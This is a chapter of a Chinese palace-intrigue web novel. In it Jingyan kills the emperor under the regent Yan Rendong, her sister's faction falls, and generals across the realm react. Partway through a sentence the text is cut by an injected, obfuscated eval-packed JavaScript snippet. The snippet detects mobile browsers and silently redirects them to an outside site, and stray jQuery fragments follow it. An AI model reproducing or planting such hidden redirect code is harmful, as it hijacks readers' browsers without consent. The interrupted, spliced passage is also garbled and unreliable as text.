120.聚汇·天下大乱

作品:《风前絮

    日子不知道过了多久,静堂昏睡,静言也昏睡。


    姐妹俩一个宫外,一个宫里,或许都希望自己再也不要醒来。


    静言的底子到底更好些,两天过后,她缓缓睁开眼,看严忍冬抱个孩子在一旁颠得欢欢快快,对她道:


    “快,看看孩子。”


    他把孩子抱过来让她看了一眼,只是一眼,静言就泪眼模糊了。


    这孩子一出生便落到严忍冬手中,他一定会挟天子令诸侯。


    这孩子一出生便注定是颗棋子,静言想到死去的太子,对他全无寻常母亲的期待。


    她把眼睛闭了起来,一股浑浊的眼泪从眼角流出。


    严忍冬很是欢快。


    不是因为她哭,是因为她无所依靠,此后便只能依靠自己了。


    他把孩子递给宫人,自己坐到她的床边,安慰道:“乖,别哭了。”


    静言皱眉,流泪,头往里面偏,不让他替自己擦眼泪。


    她睁开眼睛,问道:“我妹妹呢?”


    严忍冬很是欢快:“死了。”


    静言心中裂开了,痛像种子发芽一样从五脏六腑生出来,蔓延到每一个指节。


    “陶然也死了,”严忍冬叹气,“多可惜啊,寒窗苦读十年,就上任了一年,年纪轻轻的,就这么死了呢。”


    静言心死如灰,像一块石膏黏在床上。


    她太蠢了,实在太蠢了,怎么会这么轻易相信严忍冬会被抓到,怎么会相信太子之死的消息会那么快的从宫人口中审出。


    这分明就是个局。


    严忍冬叫她以为自己已经胜利了,把握了大势,他麻痹她的警惕性,叫她在贵妃临朝的盛世大景中惯坏,然后明目张胆地回京,给他们致命一击。


    是啊,他不曾与陈恨生他们瓜分利益,他好处全然不要,一心向着皇权。


    静言怎么都不能想到,一个不涉利益的人怎么就能得到陈恨生和孙兼礼的支持,难道,就因为自己是女人吗?


    因为自己是女人,所以不能使他们服气,哪怕临朝称制,有皇帝手谕和私兵,他们还是不服自己。


    “对了,”严忍冬笑道,“送你一个礼物。”


    他叫宫人把半死不活的祝钦云抬上来。


    静言侧眼看去,已经不想再说什么。


    “昔昔,你小字是叫昔昔,对吗?”


    她不回应。


    “还是我偷偷躲在凤仪殿外面,听陛下这么叫你呢。”


    他起身,轻盈,走到皇帝面前,取出一把匕首,笑问:“你恨他,对不对?”


    “对。”


    “好啊,那我替你杀了他。”


    “严忍冬,”她止道,“我自己来。”


    殿中,只有他们二人。静言十分无力,挣扎着起身,长发荡在身侧,仿佛一抹游魂。


    她面色苍白,跌跌撞撞地走过来,从严忍冬手中接过匕首,伏跪到皇帝面前,宠辱偕忘地笑笑。


    闭目,持刀,举手,猛地一插,那祝钦云就这样死去。


    一代开国帝王,雄征天下,就这样默默死在权臣和后妃手中。


    历史会怎么写他呢?静言不知道。


    会写权臣和后妃勾结,说那些香艳故事,说他们联手把皇帝害死吗?


    静言不知道。


    她的妹妹,季静堂,整件事情里最大的功臣,恐怕连一个名字都不会有。


    而她的妹夫,陶然,那个为了改革强撑天下的人,恐怕只会徒留一个乱国的罪名。


    静言杵着自己的膝盖,挣扎起身。


    严忍冬朝她伸出手,示意她把匕首交换给自己,静言却冷冷看着他,一把将匕首从祝钦云肚子上拔出,带着血,对严忍冬刀尖相向。


    “想杀了我?”他问。


    “不。”


    “那为什么,你不是恨我吗?昔昔,你连皇帝都敢杀。”


    静言惨淡笑笑:“严忍冬,你以为自己的日子会好过吗?你杀了我妹妹,杀了陶然,田改总局必然瘫痪。现在天下的情势,容得你在京都逍遥几时?你空有玩权弄术的本事,能像陶然一样有治国之道吗?”


    她嘲讽:“他那样一个经世致用的人,尚不能挽大厦于将倾,你以为你能吗?”


    又道:“你真的以为朝臣们信你吗?粮荒迫在眉睫,新政只能进不能退,西域、北境、东南都会虎视眈眈,严忍冬,我怎么能杀你呢?”


    静言变态般地狞笑:“我妹妹和陶然经历的事,当然要你再经历一遍了。”


    语罢,她轻轻松开指尖,那柄带血的匕首就这样掉落在两人之间。


    哐嘡一声,有如寒冰碎裂。


    她一眼都不再看他,转身回去躺下。


    潇湘书房的小屋内,五个人都各自静静待着。


    季眠也不再哭了,大家面无表情,唇眸惨淡,寂寂的没有光,守在静堂床边。


    所有人都知道静堂身体不好,一年以前,季家覆灭,是陶然拼尽全力把她从死神手中拽回来。


    如今这一遭,她挺不挺得过,还是个变数。


    杨绪轻轻一拉静兰的衣角,说道:“你来。”


    二人出了小屋,他附手在背,问道:“她是你姐姐?”


    静兰想了想,点点头。


    “你是季丞相的女儿?”


    静兰想了想,又点点头。


    “所以,槐荫姑娘都是假的,你一直在用自己的笔名和我在一起,从来没有告诉我你的真实身份。”


    静兰道:“你也认识我姐姐,在说自己过去的时候,你不也没说吗?”


    “我没说那是因为我以为这事跟你没关系,但你是谁,对我来说你觉得重要吗?”


    静兰皱眉,烦躁道:“我姐姐生着病,我不想跟你吵。”


    他扶住她的肩膀:“你究竟还有多少事瞒着我?察哈尔的探子,季丞相的女儿,还有什么?你们季家的女儿为什么有这么多秘密?”


    “因为我们要活下去!”


    她含泪大吼,屋内,墨香和季眠都听见了声音,侧头去看。


    “你知道一个女人在乱世里活下来有多艰难吗?没有秘密,完全坦诚,你觉得可能吗?”


    她背过身去,擦擦眼泪道:“我没觉得自己做错了什么,季家的孩子零落天下,但有一点是不变的。”


    她转过身来:“那就是,我们把季家,看得比任何事都重要。”


    她道:“如果你接受不了这点,你走就是了。”


    语罢,她心情很是不好,转身回屋。


    杨绪在外,无奈叹了叹气。


    很快,天下舆论之势逆转。严忍冬不再是杀害太子的佞臣,季静言反倒成了把持朝政,残害忠良的妖妃。


    她伪造陛下手谕,纵容陶然改革,亲手害死太


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419868|175866||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    子和皇帝的消息传得到处都是,严忍冬反倒成为拨乱反正的逆势忠臣。


    陶然的名声也没好到哪去,在江南抄家,在湖南湖北扰乱当地漕运,处理旱情不利,乱改以致天下乱的名头,一个不少地扣在了他头上。


    西域军中,季阳收到了季静言妖妃作乱,现已被诛的军报,手抖得万般不能停。


    静言在宫中执政,他本是不想听左棠的话去打什么中原,故而行军怠惰,给虎牙将军出策也尽是拣些保守之策献上,能拖尽量拖,打了整整一月,连白水涧道都没有攻下。


    此刻,他抖着手,嘴唇发白,转头去问姜弥生:“是真的吗?”


    姜弥生和晋渊低头,不敢说话。


    “是真的吗!”他突然大吼,把那军报随意一甩,揪住姜弥生的衣领就问:“你告诉我,我姐姐在朝中好好当着贵妃,怎么就死了?太子是她最大的倚仗,她怎么可能去杀太子,怎么可能!”


    姜弥生不敢说话。


    季阳失去了理智,又把军报捡起来,颤声道:“陶然也死了,这么说,我妹妹也死了,是吗!”


    “是吗!”他大吼,突然间,一口气没提上来,扶额昏死了过去。


    “将军,将军!”二人吓坏了,慌忙上来掐他的人中。


    北境,祝长风也收到了消息,惊讶程度不下于季阳。


    静言死了,陶然死了,那么季静堂呢?她也死了吗?


    “不,不,”他兀自镇定了片刻,没想到京中形势变化这样快。


    祝长风脑袋发懵,坐下来扶着额头,心中同时被两种想法割裂了。


    回京,找季静堂。


    南下,一路攻城。


    严忍冬挟天子以令诸侯,但自己也是皇储,是最名正言顺和严忍冬对抗的人。


    他坐在桌前,竭力平静着自己的呼吸,半晌后,决定选择第一条,秘密回去。


    朝中名义上的敦睦亲王不是他,是那个和假公主成亲的假亲王。


    京中缺粮,严忍冬正在极力从南边调粮,现在新政停摆,朝中大乱。这是个多好的机会。


    如果祝长风不在北境,而是在东南,他会立刻出兵劫他们的粮草,京中无粮,不消片刻,就会自己崩散。


    可惜,天不利好,他身在北境,北方大旱,自己所率的察哈尔九部都尚且岌岌可危,何况现在出兵去打。


    如果南方能第一个乱起来,自己的攻城之举也能变得容易些。


    东南沿海,海寇之势已经稳住。颜山涛一前一后收到季静言和陶然的两封密信,内容都关乎入京勤王。


    静言写道:


    “颜兄台鉴:


    顷得急讯,弑杀太子之凶徒严忍冬已就擒。然顺遂至此,心下惴惴,恐有蹊径未明之处。


    今陛下忽染沉疴,昏迷不醒,宫廷内外人心浮动。妹以贵妃之尊暂摄国政,唯手中仅有神捕司铁卫可用,禁军兵符亦只持半数,势单力薄,处境维艰。


    兄为浙直总督,手握雄师,今特修此书,望兄星夜兼程,速带麾下精锐入京。朝中若有变局,尚可倚仗兄之虎贲军稳定大局。


    万望兄以社稷为重,勿辞辛劳,顿首以盼。”


    而陶然的信很简单:“京中有变,速率兵勤王。”


    两相应照,或许二人早已预感京中形势会变。如今严忍冬全权摄政,二人又皆命丧于京,颜山涛火速北上。